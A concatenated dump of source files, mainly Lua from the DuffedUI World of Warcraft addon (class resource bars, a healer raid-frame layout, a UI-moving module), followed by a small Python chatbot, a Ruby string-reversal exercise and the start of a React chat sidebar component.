elseif event == "PLAYER_REGEN_ENABLED" then
UIFrameFadeOut(self, 2, self:GetAlpha(), 0)
elseif event == "PLAYER_ENTERING_WORLD" then
if not InCombatLockdown() then WildMushroom:SetAlpha(0) end
end
end)
ComboPoints:RegisterEvent("PLAYER_REGEN_DISABLED")
ComboPoints:RegisterEvent("PLAYER_REGEN_ENABLED")
ComboPoints:RegisterEvent("PLAYER_ENTERING_WORLD")
ComboPoints:SetScript("OnEvent", function(self, event)
if event == "PLAYER_REGEN_DISABLED" then
UIFrameFadeIn(self, (0.3 * (1 - self:GetAlpha())), self:GetAlpha(), 1)
elseif event == "PLAYER_REGEN_ENABLED" then
UIFrameFadeOut(self, 2, self:GetAlpha(), 0)
elseif event == "PLAYER_ENTERING_WORLD" then
if not InCombatLockdown() then ComboPoints:SetAlpha(0) end
end
end)
end
end<file_sep>/DuffedUI/modules/misc/achievements.lua
local D, C, L = unpack(select(2, ...))
local AchievementHolder = CreateFrame("Frame", "DuffedUIAchievementHolder", UIParent)
AchievementHolder:Width(180)
AchievementHolder:Height(20)
AchievementHolder:SetPoint("LEFT", UIParent, "LEFT", 312, 25)
AchievementHolder:SetTemplate("Default")
AchievementHolder:SetBackdropBorderColor(1, 0, 0)
AchievementHolder:SetClampedToScreen(true)
AchievementHolder:SetMovable(true)
AchievementHolder:SetAlpha(0)
AchievementHolder.text = D.SetFontString(AchievementHolder, C["media"].font, 11)
AchievementHolder.text:SetPoint("CENTER")
AchievementHolder.text:SetText(L["move"]["achievements"])
tinsert(D.AllowFrameMoving, DuffedUIAchievementHolder)
AlertFrame:SetParent(AchievementHolder)
AlertFrame:SetPoint("TOP", AchievementHolder, 0, -30)
--[[SlashCmdList.TEST_ACHIEVEMENT = function()
PlaySound("LFG_Rewards")
AchievementFrame_LoadUI()
AchievementAlertFrame_ShowAlert(5780)
AchievementAlertFrame_ShowAlert(5000)
GuildChallengeAlertFrame_ShowAlert(3, 2, 5)
ChallengeModeAlertFrame_ShowAlert()
CriteriaAlertFrame_GetAlertFrame()
AlertFrame_AnimateIn(CriteriaAlertFrame1)
AlertFrame_AnimateIn(DungeonCompletionAlertFrame1)
AlertFrame_AnimateIn(ScenarioAlertFrame1)
MoneyWonAlertFrame_ShowAlert(1)
local _, itemLink = GetItemInfo(6948)
LootWonAlertFrame_ShowAlert(itemLink, -1, 1, 1)
AlertFrame_FixAnchors()
end
SLASH_TEST_ACHIEVEMENT1 = "/testalerts"]]<file_sep>/DuffedUI/modules/unitframes/elements/priest.lua
local D, C, L = unpack(select(2, ...))
if D.Class ~= "PRIEST" then return end
local texture = C["media"].normTex
local font, fonsize, fontflag = C["media"].font, 12, "THINOUTLINE"
if not C["unitframes"].attached then D.ConstructEnergy("Mana", 216, 5) end
D.ConstructRessources = function(name, width, height)
local pb = CreateFrame("Frame", name, UIParent)
pb:Size(width, height)
pb:SetBackdrop(backdrop)
pb:SetBackdropColor(0, 0, 0)
pb:SetBackdropBorderColor(0, 0, 0)
for i = 1, 5 do
pb[i] = CreateFrame("StatusBar", name .. i, pb)
pb[i]:Height(height)
pb[i]:SetStatusBarTexture(texture)
if i == 1 then
pb[i]:Width(width / 5)
pb[i]:SetPoint("LEFT", pb, "LEFT", 0, 0)
else
pb[i]:Width((width / 5) - 1)
pb[i]:SetPoint("LEFT", pb[i - 1], "RIGHT", 1, 0)
end
end
pb:CreateBackdrop()
if C["unitframes"].oocHide then
pb:RegisterEvent("PLAYER_REGEN_DISABLED")
pb:RegisterEvent("PLAYER_REGEN_ENABLED")
pb:RegisterEvent("PLAYER_ENTERING_WORLD")
pb:SetScript("OnEvent", function(self, event)
if event == "PLAYER_REGEN_DISABLED" then
UIFrameFadeIn(self, (0.3 * (1 - self:GetAlpha())), self:GetAlpha(), 1)
elseif event == "PLAYER_REGEN_ENABLED" then
UIFrameFadeOut(self, 2, self:GetAlpha(), 0)
elseif event == "PLAYER_ENTERING_WORLD" then
if not InCombatLockdown() then pb:SetAlpha(0) end
end
end)
end
end<file_sep>/DuffedUI/modules/unitframes/elements/paladin.lua
local D, C, L = unpack(select(2, ...))
if D.Class ~= "PALADIN" then return end
local texture = C["media"].normTex
local font, fontheight, fontflag = C["media"].font, 12, "THINOUTLINE"
if not C["unitframes"].attached then D.ConstructEnergy("Mana", 216, 5) end
D.ConstructRessources = function(name, width, height)
local bars = CreateFrame("Frame", name, UIParent)
bars:Size(width, height)
bars:SetBackdrop(backdrop)
bars:SetBackdropColor(0, 0, 0)
bars:SetBackdropBorderColor(0, 0, 0, 0)
for i = 1, 5 do
bars[i]=CreateFrame("StatusBar", name .. "_HolyPower" .. i, bars)
bars[i]:Height(height)
bars[i]:SetStatusBarTexture(texture)
bars[i]:GetStatusBarTexture():SetHorizTile(false)
bars[i]:SetStatusBarColor(228/255, 225/255, 16/255)
bars[i].bg = bars[i]:CreateTexture(nil, "BORDER")
bars[i].bg:SetTexture(228/255, 225/255, 16/255)
if i == 1 then
bars[i]:SetPoint("LEFT", bars)
bars[i]:Width((width / 5) - 3)
bars[i].bg:SetAllPoints(bars[i])
else
bars[i]:Point("LEFT", bars[i-1], "RIGHT", 1, 0)
bars[i]:Width(width / 5)
bars[i].bg:SetAllPoints(bars[i])
end
bars[i].bg:SetTexture(texture)
bars[i].bg:SetAlpha(.15)
end
bars:CreateBackdrop()
if C["unitframes"].oocHide then
bars:RegisterEvent("PLAYER_REGEN_DISABLED")
bars:RegisterEvent("PLAYER_REGEN_ENABLED")
bars:RegisterEvent("PLAYER_ENTERING_WORLD")
bars:SetScript("OnEvent", function(self, event)
if event == "PLAYER_REGEN_DISABLED" then
UIFrameFadeIn(self, (0.3 * (1 - self:GetAlpha())), self:GetAlpha(), 1)
elseif event == "PLAYER_REGEN_ENABLED" then
UIFrameFadeOut(self, 2, self:GetAlpha(), 0)
elseif event == "PLAYER_ENTERING_WORLD" then
if not InCombatLockdown() then bars:SetAlpha(0) end
end
end)
end
end<file_sep>/DuffedUI/modules/unitframes/elements/shaman.lua
local D, C, L = unpack(select(2, ...))
if D.Class ~= "SHAMAN" then return end
local texture = C["media"].normTex
local font, fonsize, fontflag = C["media"].font, 12, "THINOUTLINE"
if not C["unitframes"].attached then D.ConstructEnergy("Energy", 216, 5) end
D.ConstructRessources = function(name, width, height)
local TotemBar = CreateFrame("Frame", name, UIParent)
TotemBar:Size(width, height)
TotemBar:SetBackdrop(backdrop)
TotemBar:SetBackdropColor(0, 0, 0)
TotemBar:SetBackdropBorderColor(0, 0, 0)
for i = 1, 4 do
TotemBar[i] = CreateFrame("StatusBar", name ..i, TotemBar)
TotemBar[i]:SetHeight(height)
TotemBar[i]:SetStatusBarTexture(texture)
if i == 1 then
TotemBar[i]:SetWidth(width / 4)
TotemBar[i]:Point("LEFT", TotemBar, "LEFT", 0, 0)
else
TotemBar[i]:SetWidth((width / 4) - 1)
TotemBar[i]:SetPoint("LEFT", TotemBar[i - 1], "RIGHT", 1, 0)
end
TotemBar[i]:SetMinMaxValues(0, 1)
TotemBar[i].bg = TotemBar[i]:CreateTexture(nil, "ARTWORK")
TotemBar[i].bg:SetAllPoints()
TotemBar[i].bg:SetTexture(texture)
TotemBar[i].bg.multiplier = .2
end
TotemBar:CreateBackdrop()
if C["unitframes"].oocHide then
TotemBar:RegisterEvent("PLAYER_REGEN_DISABLED")
TotemBar:RegisterEvent("PLAYER_REGEN_ENABLED")
TotemBar:RegisterEvent("PLAYER_ENTERING_WORLD")
TotemBar:SetScript("OnEvent", function(self, event)
if event == "PLAYER_REGEN_DISABLED" then
UIFrameFadeIn(self, (0.3 * (1 - self:GetAlpha())), self:GetAlpha(), 1)
elseif event == "PLAYER_REGEN_ENABLED" then
UIFrameFadeOut(self, 2, self:GetAlpha(), 0)
elseif event == "PLAYER_ENTERING_WORLD" then
if not InCombatLockdown() then TotemBar:SetAlpha(0) end
end
end)
end
end<file_sep>/DuffedUI/modules/unitframes/groups/raid_heal40.lua
local D, C, L = unpack(select(2, ...))
if (C["raid"].enable ~= true or C["raid"].layout == "dps") then return end
--[[oUF]]--
local ADDON_NAME, ns = ...
local oUF = oUFDuffedUI or oUF
assert(oUF, "DuffedUI was unable to locate oUF install.")
ns._Objects = {}
ns._Headers = {}
--[[Locals]]--
local font = D.Font(C["font"].unitframes)
local normTex = C["media"].normTex
local backdrop = {
bgFile = C["media"].blank,
insets = {top = -D.mult, left = -D.mult, bottom = -D.mult, right = -D.mult},
}
local function Shared(self, unit)
self.colors = D.oUF_colors
self:RegisterForClicks("AnyUp")
self:SetScript("OnEnter", UnitFrame_OnEnter)
self:SetScript("OnLeave", UnitFrame_OnLeave)
--[[Health]]--
local health = CreateFrame("StatusBar", nil, self)
health:SetPoint("TOPLEFT")
health:SetPoint("TOPRIGHT")
if unit:find("partypet") then health:Height(18) else health:Height((C["raid"].frameheight - 15) * C["raid"].FrameScaleRaid) end
health:SetStatusBarTexture(normTex)
health:CreateBackdrop()
self.Health = health
health:SetOrientation("VERTICAL")
health.bg = health:CreateTexture(nil, "BORDER")
health.bg:SetAllPoints(health)
health.bg:SetTexture(normTex)
health.bg.multiplier = (.3)
self.Health.bg = health.bg
health.value = health:CreateFontString(nil, "OVERLAY")
if not unit:find("partypet") then health.value:Point("BOTTOM", health, 1, 2) end
health.value:SetFontObject(font)
self.Health.value = health.value
health.PostUpdate = D.PostUpdateHealthRaid
health.frequentUpdates = true
health.Smooth = true
if C["unitframes"].unicolor then
health.colorDisconnected = false
health.colorClass = false
health:SetStatusBarColor(unpack(C["unitframes"].healthbarcolor))
health.bg:SetVertexColor(unpack(C["unitframes"].deficitcolor))
health.bg:SetTexture(.6, .6, .6)
if C["unitframes"].ColorGradient then
health.colorSmooth = true
health.bg:SetTexture(0, 0, 0)
end
else
health.colorDisconnected = true
health.colorClass = true
health.colorReaction = true
health.bg:SetTexture(.1, .1, .1)
end
--[[Power]]--
local power = CreateFrame("StatusBar", nil, self)
if unit:find("partypet") then power:SetHeight(0) else power:SetHeight(3) end
power:Point("TOPLEFT", self.Health, "BOTTOMLEFT", 0, -2)
power:Point("TOPRIGHT", self.Health, "BOTTOMRIGHT", 0, -2)
power:SetStatusBarTexture(normTex)
self.Power = power
power.frequentUpdates = true
power.colorDisconnected = true
power.bg = power:CreateTexture(nil, "BORDER")
power.bg:SetAllPoints(power)
power.bg:SetTexture(normTex)
power.bg:SetAlpha(1)
power.bg.multiplier = .3
power.colorClass = true
power.Smooth = true
--[[Panel]]--
local panel = CreateFrame("Frame", nil, self)
panel:SetTemplate("Default")
panel:Size(1, 1)
panel:Point("TOPLEFT", health, "TOPLEFT", -2, 2)
if unit:find("partypet") then panel:Point("BOTTOMRIGHT", health, "BOTTOMRIGHT", 2, -2) else panel:Point("BOTTOMRIGHT", power, "BOTTOMRIGHT", 2, -2) end
self.panel = panel
if not unit:find("partypet") then
local ppanel = CreateFrame("Frame", nil, self)
ppanel:Point("BOTTOMLEFT", -1, 4)
ppanel:Point("BOTTOMRIGHT", 1, 4)
self.panel2 = ppanel
end
--[[Elements]]--
local name = health:CreateFontString(nil, "OVERLAY")
name:SetFontObject(font)
if unit:find("partypet") then name:SetPoint("CENTER") else name:Point("CENTER", health, "TOP", 0, -7) end
self:Tag(name, "[DuffedUI:getnamecolor][DuffedUI:nameshort]")
self.Name = name
if C["raid"].aggro then
table.insert(self.__elements, D.UpdateThreat)
self:RegisterEvent("PLAYER_TARGET_CHANGED", D.UpdateThreat)
self:RegisterEvent("UNIT_THREAT_LIST_UPDATE", D.UpdateThreat)
self:RegisterEvent("UNIT_THREAT_SITUATION_UPDATE", D.UpdateThreat)
end
if C["raid"].showsymbols == true then
local RaidIcon = health:CreateTexture(nil, "OVERLAY")
RaidIcon:Height(18 * D.raidscale)
RaidIcon:Width(18 * D.raidscale)
RaidIcon:SetPoint("CENTER", self, "TOP")
RaidIcon:SetTexture("Interface\\AddOns\\DuffedUI\\medias\\textures\\raidicons.blp") -- thx hankthetank for texture
self.RaidIcon = RaidIcon
end
local LFDRole = health:CreateTexture(nil, "OVERLAY")
LFDRole:Height(15)
LFDRole:Width(15)
LFDRole:Point("TOPRIGHT", 2, 2)
self.LFDRole = LFDRole
local Resurrect = CreateFrame("Frame", nil, self)
Resurrect:SetFrameLevel(20)
local ResurrectIcon = Resurrect:CreateTexture(nil, "OVERLAY")
ResurrectIcon:Point("CENTER", health, 0, 0)
ResurrectIcon:Size(20, 15)
ResurrectIcon:SetDrawLayer("OVERLAY", 7)
self.ResurrectIcon = ResurrectIcon
local ReadyCheck = power:CreateTexture(nil, "OVERLAY")
ReadyCheck:Height(12 * D.raidscale)
ReadyCheck:Width(12 * D.raidscale)
ReadyCheck:SetPoint("CENTER")
self.ReadyCheck = ReadyCheck
local leader = health:CreateTexture(nil, "OVERLAY")
leader:Height(12 * D.raidscale)
leader:Width(12 * D.raidscale)
leader:Point("TOPLEFT", 0, 8)
self.Leader = leader
local MasterLooter = health:CreateTexture(nil, "OVERLAY")
MasterLooter:Height(12 * D.raidscale)
MasterLooter:Width(12 * D.raidscale)
self.MasterLooter = MasterLooter
self:RegisterEvent("PARTY_LEADER_CHANGED", D.MLAnchorUpdate)
self:RegisterEvent("PARTY_MEMBERS_CHANGED", D.MLAnchorUpdate)
if not C["raid"].raidunitdebuffwatch == true then
self.DebuffHighlightAlpha = 1
self.DebuffHighlightBackdrop = true
self.DebuffHighlightFilter = true
end
if C["raid"].showrange == true then
local range = {insideAlpha = 1, outsideAlpha = C["raid"].raidalphaoor}
self.Range = range
end
--[[Healcom]]--
if C["unitframes"].healcomm then
local mhpb = CreateFrame("StatusBar", nil, self.Health)
mhpb:SetOrientation("VERTICAL")
mhpb:SetPoint("BOTTOM", self.Health:GetStatusBarTexture(), "TOP", 0, 0)
mhpb:Width(68 * D.raidscale)
mhpb:Height(31 * D.raidscale)
mhpb:SetStatusBarTexture(normTex)
mhpb:SetStatusBarColor(0, 1, 0.5, 0.25)
local ohpb = CreateFrame("StatusBar", nil, self.Health)
ohpb:SetOrientation("VERTICAL")
ohpb:SetPoint("BOTTOM", mhpb:GetStatusBarTexture(), "TOP", 0, 0)
ohpb:Width(68 * D.raidscale)
ohpb:Height(31 * D.raidscale)
ohpb:SetStatusBarTexture(normTex)
ohpb:SetStatusBarColor(0, 1, 0, 0.25)
local absb = CreateFrame("StatusBar", nil, self.Health)
absb:SetOrientation("VERTICAL")
absb:SetPoint("BOTTOM", ohpb:GetStatusBarTexture(), "TOP", 0, 0)
absb:Width(68 * D.raidscale)
absb:Height(31 * D.raidscale)
absb:SetStatusBarTexture(normTex)
absb:SetStatusBarColor(1, 1, 0, 0.25)
self.HealPrediction = {
myBar = mhpb,
otherBar = ohpb,
absorbBar = absb,
maxOverflow = 1,
}
end
--[[WeakenedSoul-Bar]]--
if D.Class == "PRIEST" and C["unitframes"].weakenedsoulbar then
local ws = CreateFrame("StatusBar", self:GetName().."_WeakenedSoul", power)
ws:SetAllPoints(power)
ws:SetStatusBarTexture(normTex)
ws:GetStatusBarTexture():SetHorizTile(false)
ws:SetBackdrop(backdrop)
ws:SetBackdropColor(unpack(C["media"].backdropcolor))
ws:SetStatusBarColor(.75, .04, .04)
self.WeakenedSoul = ws
end
--[[RaidDebuffs]]--
if C["raid"].raidunitdebuffwatch == true then
D.createAuraWatch(self,unit)
local RaidDebuffs = CreateFrame("Frame", nil, self)
RaidDebuffs:Height(24 * D.raidscale)
RaidDebuffs:Width(24 * D.raidscale)
RaidDebuffs:Point("CENTER", health, 1,0)
RaidDebuffs:SetFrameStrata(health:GetFrameStrata())
RaidDebuffs:SetFrameLevel(health:GetFrameLevel() + 2)
RaidDebuffs:SetTemplate("Default")
RaidDebuffs.icon = RaidDebuffs:CreateTexture(nil, "OVERLAY")
RaidDebuffs.icon:SetTexCoord(unpack(D.IconCoord))
RaidDebuffs.icon:Point("TOPLEFT", 2, -2)
RaidDebuffs.icon:Point("BOTTOMRIGHT", -2, 2)
RaidDebuffs.time = RaidDebuffs:CreateFontString(nil, "OVERLAY")
RaidDebuffs.time:SetFontObject(font)
RaidDebuffs.time:Point("CENTER", 1, 0)
RaidDebuffs.time:SetTextColor(1, .9, 0)
RaidDebuffs.count = RaidDebuffs:CreateFontString(nil, "OVERLAY")
RaidDebuffs.count:SetFontObject(font)
RaidDebuffs.count:Point("BOTTOMRIGHT", RaidDebuffs, "BOTTOMRIGHT", 0, 2)
RaidDebuffs.count:SetTextColor(1, .9, 0)
self.RaidDebuffs = RaidDebuffs
end
return self
end
oUF:RegisterStyle("Heal", Shared)
oUF:Factory(function(self)
oUF:SetActiveStyle("Heal")
local spawnG = "solo,raid,party"
local raid = self:SpawnHeader("oUF_Heal", nil, "solo,raid,party",
"oUF-initialConfigFunction", [[
local header = self:GetParent()
self:SetWidth(header:GetAttribute("initial-width"))
self:SetHeight(header:GetAttribute("initial-height"))
]],
"initial-width", D.Scale(C["raid"].framewidth * C["raid"].FrameScaleRaid),
"initial-height", D.Scale(C["raid"].frameheight * C["raid"].FrameScaleRaid),
"showPlayer", C["raid"].showplayerinparty,
"showParty", true,
"showRaid", true,
"showSolo", false,
"xoffset", D.Scale(8),
"yOffset", D.Scale(1),
"groupFilter", "1,2,3,4,5,6,7,8",
"groupingOrder", "1,2,3,4,5,6,7,8",
"groupBy", "GROUP",
"maxColumns", 8,
"unitsPerColumn", 5,
"columnSpacing", D.Scale(-3),
"point", "LEFT",
"columnAnchorPoint", "BOTTOM"
)
D.RaidPosition(raid)
if C["raid"].showraidpets then
local pets = {}
pets[1] = oUF:Spawn("partypet1", "oUF_DuffedUIPartyPet1")
pets[1]:Point("BOTTOMLEFT", raid, "TOPLEFT", 0, 8)
pets[1]:Size(C["raid"].framewidth * C["raid"].FrameScaleRaid, 18 * C["raid"].FrameScaleRaid)
for i =2, 4 do
pets[i] = oUF:Spawn("partypet"..i, "oUF_DuffedUIPartyPet"..i)
pets[i]:Point("LEFT", pets[i-1], "RIGHT", 8, 0)
pets[i]:Size(C["raid"].framewidth * C["raid"].FrameScaleRaid, 18 * C["raid"].FrameScaleRaid)
end
local ShowPet = CreateFrame("Frame")
ShowPet:RegisterEvent("PLAYER_ENTERING_WORLD")
ShowPet:RegisterEvent("RAID_ROSTER_UPDATE")
ShowPet:RegisterEvent("PARTY_LEADER_CHANGED")
ShowPet:RegisterEvent("PARTY_MEMBERS_CHANGED")
ShowPet:SetScript("OnEvent", function(self)
if InCombatLockdown() then
self:RegisterEvent("PLAYER_REGEN_ENABLED")
else
self:UnregisterEvent("PLAYER_REGEN_ENABLED")
local numraid = GetNumGroupMembers()
local numparty = GetNumSubgroupMembers()
if numparty > 0 and numraid == 0 or numraid > 0 and numraid <= 5 then
for i,v in ipairs(pets) do v:Enable() end
else
for i,v in ipairs(pets) do v:Disable() end
end
end
end)
end
end)
--[[Option to hide group 5 - 8]]--
if C["raid"].MaxGroup then
local MaxGroup = CreateFrame("Frame")
MaxGroup:RegisterEvent("PLAYER_ENTERING_WORLD")
MaxGroup:RegisterEvent("ZONE_CHANGED_NEW_AREA")
MaxGroup:SetScript("OnEvent", function(self)
local inInstance, instanceType = IsInInstance()
local _, _, _, _, maxPlayers, _, _ = GetInstanceInfo()
if inInstance and instanceType == "raid" and maxPlayers == 20 then
DuffedUIGrid:SetAttribute("groupFilter", "1,2,3,4")
elseif inInstance and instanceType == "raid" and maxPlayers == 40 then
DuffedUIGrid:SetAttribute("groupFilter", "1,2,3,4,5,6,7,8")
else
DuffedUIGrid:SetAttribute("groupFilter", "1,2,3,4,5,6")
end
end)
end<file_sep>/DuffedUI/core/move.lua
local D, C, L = unpack(select(2, ...))
D.AllowFrameMoving = {}
local function exec(self, enable)
if self == xpMover or self == DuffedUIPetBarMover or self == DuffedUIBar1Mover or self == DuffedUIGMFrameAnchor or self == CBAnchor or self == PCBanchor or self == TCBanchor or self == FCBanchor or self == RCDAnchor or self == DebuffAnchor or self == SpellCooldownsFrameAnchor or self == DuffedUIBnetHolder then
if enable then self:Show() else self:Hide() end
end
if self == DuffedUIBar2 then
if enable then
MultiBarBottomLeft:Hide()
self.text = D.SetFontString(DuffedUIBar2, C["media"].font, 11)
self.text:SetPoint("CENTER")
self.text:SetText(L["move"]["bar2"])
self:SetBackdropBorderColor(1, 0, 0, 1)
else
MultiBarBottomLeft:Show()
self:SetBackdropBorderColor(unpack(C["media"].bordercolor))
end
end
if self == DuffedUIBar3 then
if enable then
MultiBarBottomRight:Hide()
self.text = D.SetFontString(DuffedUIBar3, C["media"].font, 11)
self.text:SetPoint("CENTER")
self.text:SetText(L["move"]["bar3"])
self:SetBackdropBorderColor(1, 0, 0, 1)
else
MultiBarBottomRight:Show()
self:SetBackdropBorderColor(unpack(C["media"].bordercolor))
end
end
if self == DuffedUIBar4 then
if enable then
MultiBarLeft:Hide()
self.text = D.SetFontString(DuffedUIBar4, C["media"].font, 11)
self.text:SetPoint("CENTER")
self.text:SetText(L["move"]["bar4"])
self:SetBackdropBorderColor(1, 0, 0, 1)
else
MultiBarLeft:Show()
self:SetBackdropBorderColor(unpack(C["media"].bordercolor))
end
end
if self == DuffedUIBar5 then
if enable then
MultiBarRight:Hide()
self.text = D.SetFontString(DuffedUIBar5, C["media"].font, 11)
self.text:SetPoint("CENTER")
if C["actionbar"].rightbarvertical then self.text:SetText(L["move"]["bar5"]) else self.text:SetText(L["move"]["bar5_1"]) end
self:SetBackdropBorderColor(1, 0, 0, 1)
else
MultiBarRight:Show()
self:SetBackdropBorderColor(unpack(C["media"].bordercolor))
end
end
if self == DuffedUIMinimap then
if enable then
Minimap:Hide()
self:SetBackdropBorderColor(1, 0, 0, 1)
else
Minimap:Show()
self:SetBackdropBorderColor(unpack(C["media"].bordercolor))
end
end
if self == DuffedUIAurasPlayerBuffs then
local buffs = DuffedUIAurasPlayerBuffs
if enable then
buffs.backdrop:SetAlpha(1)
else
local position = self:GetPoint()
if position:match("TOPLEFT") or position:match("BOTTOMLEFT") or position:match("BOTTOMRIGHT") or position:match("TOPRIGHT") then buffs:SetAttribute("point", position) end
if position:match("LEFT") then buffs:SetAttribute("xOffset", 35) else buffs:SetAttribute("xOffset", -35) end
if position:match("BOTTOM") then buffs:SetAttribute("wrapYOffset", 67.5) else buffs:SetAttribute("wrapYOffset", -67.5) end
buffs.backdrop:SetAlpha(0)
end
end
if self == DuffedUIAurasPlayerDebuffs then
local debuffs = DuffedUIAurasPlayerDebuffs
if enable then
debuffs.backdrop:SetAlpha(1)
else
local position = self:GetPoint()
if position:match("TOPLEFT") or position:match("BOTTOMLEFT") or position:match("BOTTOMRIGHT") or position:match("TOPRIGHT") then debuffs:SetAttribute("point", position) end
if position:match("LEFT") then debuffs:SetAttribute("xOffset", 35) else debuffs:SetAttribute("xOffset", -35) end
if position:match("BOTTOM") then debuffs:SetAttribute("wrapYOffset", 67.5) else debuffs:SetAttribute("wrapYOffset", -67.5) end
debuffs.backdrop:SetAlpha(0)
end
end
if self == DuffedUITooltipAnchor or self == DuffedUIRollAnchor or self == DuffedUIAchievementHolder or self == DuffedUIVehicleAnchor or self == DuffedUIExtraActionBarFrameHolder then
if enable then self:SetAlpha(1) else self:SetAlpha(0) end
end
if self == DuffedUIStance then
if enable then DuffedUIStanceHolder:SetAlpha(1) else DuffedUIStanceHolder:SetAlpha(0) end
end
end
local enable = true
local origa1, origf, origa2, origx, origy
local gridsize = function()
local defsize = 16
local w = tonumber(string.match(({ GetScreenResolutions() })[GetCurrentResolution()], "(%d+)x+%d"))
local h = tonumber(string.match(({ GetScreenResolutions() })[GetCurrentResolution()], "%d+x(%d+)"))
local x = tonumber(gridsize) or defsize
function Grid()
ali = CreateFrame("Frame", nil, UIParent)
ali:SetFrameLevel(0)
ali:SetFrameStrata("BACKGROUND")
for i = - (w / x / 2), w / x / 2 do
local aliv = ali:CreateTexture(nil, "BACKGROUND")
aliv:SetTexture(0.3, 0, 0, 0.7)
aliv:Point("CENTER", UIParent, "CENTER", i * x, 0)
aliv:SetSize(1, h)
end
for i = - (h / x / 2), h / x / 2 do
local alih = ali:CreateTexture(nil, "BACKGROUND")
alih:SetTexture(0.3, 0, 0, 0.7)
alih:Point("CENTER", UIParent, "CENTER", 0, i * x)
alih:SetSize(w, 1)
end
end
if Ali then
if ox ~= x then
ox = x
ali:Hide()
Grid()
Ali = true
else
ali:Hide()
Ali = false
end
else
ox = x
Grid()
Ali = true
end
end
D.MoveUIElements = function()
if DuffedUIRaidUtilityAnchor then
if DuffedUIRaidUtilityAnchor:IsShown() then DuffedUIRaidUtilityAnchor:Hide() else DuffedUIRaidUtilityAnchor:Show() end
end
for i = 1, getn(D.AllowFrameMoving) do
if D.AllowFrameMoving[i] then
if enable then
D.AllowFrameMoving[i]:EnableMouse(true)
D.AllowFrameMoving[i]:RegisterForDrag("LeftButton", "RightButton")
D.AllowFrameMoving[i]:SetScript("OnDragStart", function(self)
origa1, origf, origa2, origx, origy = D.AllowFrameMoving[i]:GetPoint()
self.moving = true
self:SetUserPlaced(true)
self:StartMoving()
end)
D.AllowFrameMoving[i]:SetScript("OnDragStop", function(self)
self.moving = false
self:StopMovingOrSizing()
end)
exec(D.AllowFrameMoving[i], enable)
if D.AllowFrameMoving[i].text then D.AllowFrameMoving[i].text:Show() end
else
D.AllowFrameMoving[i]:EnableMouse(false)
if D.AllowFrameMoving[i].moving == true then
D.AllowFrameMoving[i]:StopMovingOrSizing()
D.AllowFrameMoving[i]:ClearAllPoints()
D.AllowFrameMoving[i]:SetPoint(origa1, origf, origa2, origx, origy)
end
exec(D.AllowFrameMoving[i], enable)
if D.AllowFrameMoving[i].text then D.AllowFrameMoving[i].text:Hide() end
D.AllowFrameMoving[i].moving = false
end
end
end
if enable then
enable = false
gridsize()
else
enable = true
gridsize()
end
end
SLASH_MOVING1 = "/mduffedui"
SLASH_MOVING2 = "/moveui"
SlashCmdList["MOVING"] = function()
if InCombatLockdown() then print(ERR_NOT_IN_COMBAT) return end
D.MoveUIElements()
if D.MoveUnitFrames then D.MoveUnitFrames() end
end
local protection = CreateFrame("Frame")
protection:RegisterEvent("PLAYER_REGEN_DISABLED")
protection:SetScript("OnEvent", function(self, event)
if enable then return end
print(ERR_NOT_IN_COMBAT)
enable = false
D.MoveUIElements()
end) | 6e243939c679b631c9795f842bd0c204bd04735f | [
"Lua"
] | 17 | Lua | mnshdw/DuffedUIv8 | a462043a2adf6fd32462c06dc49e8cafdce6cc36 | 5d82cd7b9aa70859081f14675d1e633ec0459a1a |
refs/heads/master | <file_sep># ruby-practice-appacc
ruby practice exercises from app academy
<file_sep># Write a method that will take a string as input, and return a new
# string with the same letters in reverse order.
#
# Don't use String's reverse method; that would be too simple.
#
# Difficulty: easy.
def reverse(str)
length_of_string = str.length
x = length_of_string - 1
y = 0
array_given = str.split('')
array_reverse = []
while (x >= 0) do
array_reverse[y] = array_given[x]
x -= 1
y += 1
end
reverse_string = array_reverse.join
return reverse_string
end
puts reverse('abc')
puts reverse('hello')
puts(
'reverse("abc") == "cba": ' + (reverse("abc") == "cba").to_s
)
puts(
'reverse("a") == "a": ' + (reverse("a") == "a").to_s
)
puts(
'reverse("") == "": ' + (reverse("") == "").to_s
) | 7262c1c9ba2b1c81081f4fd2f42f2310af975755 | [
"Markdown",
"Ruby"
] | 2 | Markdown | richardgmartin/ruby-practice-appacc | 0f5663d8735906055f7a0fb78e6747cb6ee7a580 | 2743f4447df3583962f3802fb687717b579c43a8 |
refs/heads/master | <file_sep># coding: utf8
import io
import time
import codecs
print("Système d'intégration de Q/R à l'IA")
time.sleep(2)
title=input("Titre: ").replace('"', "''")
trigger=input("Quand l'IA détecte: ").replace('"', "''")
answer=input("Que doit répondre l'IA? ").replace('"', "''")
# options = input("Options? ") # r = regex, v = vars (r, v, rv, vr) (not working atm)
with codecs.open("chat.rc", "a+", "utf-8") as chatFile:
chatFile.seek(0,0)
if (chatFile.read().find("[\""+title+"\",")==-1) and (len(trigger) > 0) and (len(answer) > 0) and (len(title) > 0):
# full = '"'+title+'": {"trigger": "'+trigger+'", "answer": "'+answer+'", "options": "'+options+'"}' + '\n'
full = '"'+title+'": {"trigger": "'+trigger+'", "answer": "'+answer+'"}\n'
chatFile.write(full)
time.sleep(1)
print("Merci à vous de participer au développement de l'IA")
<file_sep>import io
import time
import random
import re
import codecs
username = str
name = "Jacquie" # bot name
answers = codecs.open("chat.rc", "r", "utf-8").read() # scan file to do not have to re-open it for each operation
def getAnswer(trigger):
try:
# catch answer with trigger
m = re.search('{"trigger": "'+re.escape(trigger)+'", "answer": "(.+)"}', answers)
return name + ": " + m.group(1)
except AttributeError:
return "Je ne comprends pas ce que vous me demandez."
def getTrigger(answer):
pass
def getAll(title):
insideArray = {}
m = re.search('"'+title+'": {"trigger": "(.+)", "answer": "(.+)"}', answers)
insideArray["trigger"] = m.group(1)
insideArray["answer"] = name + ": " + m.group(2)
return insideArray
print(getAll("__welcome__")["answer"])
try:
username = input("<Entrez votre nom> ")
while(True):
print(getAnswer(input("$ ")))
except KeyboardInterrupt:
print("\nBye!")
exit(1)
| 937f79588c35cc385451b4913a7852a9142b3484 | [
"Python"
] | 2 | Python | KiraRoot/PythonIA | 81a24bd5b9a86bffe91be392517e2c21301b41bd | 6662531c8ee652f60cfafa7ea636fa8ccac7bcb6 |
refs/heads/main | <file_sep>
import '../css/sidebar.css'
import { Avatar, IconButton} from '@material-ui/core'
import DonutlargeIcon from '@material-ui/icons/DonutLarge'
import Chat from '@material-ui/icons/Chat'
import MoreVertIcon from '@material-ui/icons/MoreVert'
import { SearchOutlined } from '@material-ui/icons'
import SidebarChat from './SidebarChat'
import { useState , useEffect} from 'react'
import db from '../firebase'
import { useStateValue } from '../StateProvider'
const Sidebar = () => {
